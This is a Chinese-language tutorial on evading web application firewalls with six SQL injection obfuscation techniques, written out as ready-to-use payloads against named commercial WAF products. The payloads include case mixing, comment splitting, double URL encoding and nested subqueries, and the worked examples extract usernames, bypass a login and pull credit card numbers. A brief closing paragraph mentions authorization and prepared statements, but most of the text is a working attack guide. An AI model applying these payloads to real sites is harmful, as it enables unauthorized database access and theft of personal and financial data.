绕WAF实战6种SQL注入变形技巧
[TOC]
WAF是拦截 SQL 注入的重要屏障,但主流 WAF 的检测规则多基于 “关键字匹配”“语法特征识别” 等固定逻辑。只要抓住这些规则的盲区,通过合理的SQL 语句变形,就能在合法授权测试中绕过防护,精准定位漏洞。
大小写变形:利用 WAF 关键字匹配盲区
原理
多数 WAF 的关键字检测规则是 “大小写敏感” 的,比如仅拦截全小写的 “union select”“and
1=1”,但对混合大小写的语句识别能力较弱。而 MySQL、SQL Server 等主流数据库默认对关键字大小写不敏感(PostgreSQL需注意,默认敏感),这就形成了 “WAF 拦截失效,数据库正常执行” 的漏洞。
实战场景
以某使用阿里云 WAF(基础防护模式)的站点为例,目标 URL 为 http://test.com/product?id=1 。
- 初始测试:输入
id=1' union select 1,2,database()--+,WAF 立即拦截,日志显示 “命中 union select 关键字规则”; - 变形尝试:将关键字改为混合大小写 ——
id=1' UnIoN SeLeCt 1,2,dAtAbAsE()--+; - 结果:WAF 未触发拦截,页面返回数据库名 “test_db”,说明绕过成功。
注意事项
- 若目标数据库是 PostgreSQL,需先确认其大小写配置(通过
show case_sensitive_identifier;查看),若为 “on”,则该技巧失效; - 部分高端 WAF 已支持 “大小写不敏感检测”(如 Cloudflare 企业版),需先通过简单变形测试 WAF 规则强度。
注释干扰:用合法注释打断检测特征
原理
WAF 检测 SQL 注入时,会识别 “关键字 + 符号” 的连续特征(如 “union select”“or
1=1”)。若在关键字中间插入数据库支持的合法注释(如 /**/ 、--、 # ),可打断 WAF
的特征匹配,但数据库会忽略注释,正常解析语句。
实战场景
目标站点使用 Cloudflare WAF,测试 http://test.com/user?id=1 :
- 直接注入:
id=1' or 1=1--+,WAF 拦截,提示 “检测到 OR 条件注入”; - 注释变形:
- 用
/**/拆分关键字:id=1' o/**/r 1=1--+; - 用 “
--” 插入无关内容:id=1' or 1-- abc=1--+(“-- abc=1” 是合法注释,数据库会忽略);
- 结果:两种变形均绕过 WAF,页面返回所有用户数据(因 “or 1=1” 恒真)。
注意事项
- 不同数据库注释语法不同:MySQL 支持
#、--(注意 “-- ” 后需加空格)、/**/;Oracle 仅支持--和/* */,不支持#; - 避免过度插入注释:若注释过多导致语句长度超过 WAF 的 “最大请求长度限制”,可能触发额外拦截。
关键字拆分:用空格 / 特殊字符替代固定间隔
原理
WAF 常将 “关键字 + 空格 + 关键字” 视为危险特征(如 “union select”“select
from”),但数据库允许用非空格字符替代间隔(如 %20 %09 ())。通过替换间隔字符,可打破 WAF 的特征识别逻辑。
实战场景
某电商站点使用华为云 WAF,测试 http://test.com/category?id=2 :
- 原始注入:
id=2' union select 1,group_concat(username) from user--+,WAF 拦截,规则显示 “匹配 union select from 特征”; - 拆分变形:
- 用
%09(Tab 符 URL 编码)替代空格:id=2' union%09select 1,group_concat(username)%09from%09user--+; - 用
()包裹关键字:id=2' union(select)1,group_concat(username)from(user)--+;
- 结果:两种变形均通过 WAF 检测,页面返回所有用户名(如 “admin,test123”)。
注意事项
%09%0A(换行符)等特殊字符需确保服务器能正常解析(多数 Apache、Nginx 默认支持);- 部分 WAF 会检测 “union” 后接非空格字符的情况,可结合 “大小写 + 拆分” 双重变形(如
UnIoN%09SeLeCt)。
编码转换:利用 WAF 解码不彻底漏洞
原理
WAF 对 URL 参数的解码通常是 “单次解码”,但服务器会对参数进行 “多次解码” 直至无法解析。若将 SQL 注入中的关键符号(如 ' =)进行多次 URL 编码或 Unicode 编码,可让 WAF 解码后仍无法识别危险特征,而服务器解码后能正常执行。
实战场景
目标站点使用深信服 WAF,测试 http://test.com/login?username=admin :
- 直接注入:
username=admin' or '1'='1,WAF 拦截,提示 “检测到单引号注入”; - 编码变形:
- 单引号
'的 URL 编码:1 次编码为%27,2 次编码为%2527; - 注入语句:
username=admin%2527 or %25271%2527=%25271;
- 结果:WAF 解码 1 次后得到 “admin%27 or %271%27=%271”,未识别为注入;服务器解码 2 次后还原为 “admin’ or ‘1’='1”,成功登录。
注意事项
- 优先尝试 2 次 URL 编码:超过 3 次可能导致服务器解析失败;
- Unicode 编码仅适用于支持中文的场景(如
'的 Unicode 编码为\u0027),需确认服务器是否支持 Unicode 解析。
特殊字符替代:用等价语法绕过关键字检测
原理
SQL 语法中存在大量 “等价字符”,比如 “+” 和 “||” 均可用于字符串拼接,“=” 和 “like” 在部分场景下功能相同。若 WAF
拦截某类关键字 / 符号,可用其等价替代字符绕过,同时保证数据库正常执行。
实战场景
某政务站点使用启明星辰 WAF,测试 http://test.com/search?keyword=test :
- 原始注入:
keyword=test' and (select count(*) from admin)>=1--+,WAF 拦截 “and (select” 特征; - 等价替代变形:
- 用 “like” 替代 “=”:
keyword=test' and (select count(*) from admin) like 1--+; - 用 “||” 替代 “+”(若需拼接字符串):
keyword=test' union select 1,username||password from admin--+;
- 结果:变形后语句未触发 WAF 拦截,页面返回 “admin” 的 count 值(证明 admin 表存在)。
注意事项
- 等价字符需匹配数据库类型:MySQL 用 “+” 拼接,Oracle 用 “||”,PostgreSQL 两者均可;
- “like” 替代 “=” 仅适用于数值比较(如 “count (*) like 1”),字符串比较需注意通配符(如 “username like ‘admin%’”)。
多语句嵌套:用复杂结构迷惑 WAF 规则
原理
WAF 的检测规则多针对 “简单语句结构”,对嵌套子查询、存储过程调用等复杂结构识别能力较弱。通过将注入语句嵌套在合法 SQL 语法中(如 select (select ... from ...) from ... ),可让 WAF 误判为正常查询,同时数据库能逐层解析执行。
实战场景
某金融站点使用天融信 WAF,测试 http://test.com/transaction?id=100 :
- 原始注入:
id=100' union select 1,credit_card from user where id=1--+,WAF 拦截 “union select … from user”; - 嵌套变形:
- 子查询嵌套:
id=100' union select 1,(select credit_card from (select credit_card from user where id=1) as t)--+; - 存储过程嵌套(仅适用于 SQL Server):
id=100'; exec('se'+'lect credit_card from user where id=1')--+;
- 结果:WAF 未识别嵌套子查询的危险特征,服务器执行后返回用户 “id=1” 的信用卡号。
注意事项
- 嵌套层数不宜过多:超过 3 层可能导致数据库执行超时;
- 存储过程调用需确认数据库权限:如 SQL Server 的 “exec” 语句需当前用户有 “execute” 权限,否则会执行失败。
绕 WAF 的核心是 “理解规则,而非对抗规则”
上述 6 种技巧的本质,是利用 WAF “规则固定性” 与 “数据库语法灵活性” 的矛盾。但需明确:
- 没有 “万能技巧”:高端 WAF(如 AWS WAF、Cloudflare 企业版)已支持 “行为分析”“机器学习检测”,简单变形难以绕过,需结合漏洞场景(如时间盲注、布尔盲注)综合使用;
- 技术需用于合法场景:所有测试必须获得授权,避免触碰法律红线;
- 防护方的应对:WAF 需定期更新规则库,开启 “智能检测模式”,同时开发者应从源头避免 SQL 注入(如使用预编译语句、ORM 框架)。




